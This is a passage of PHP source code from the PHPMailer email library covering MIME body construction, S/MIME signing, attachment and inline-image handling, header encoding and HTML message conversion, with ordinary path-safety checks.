                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
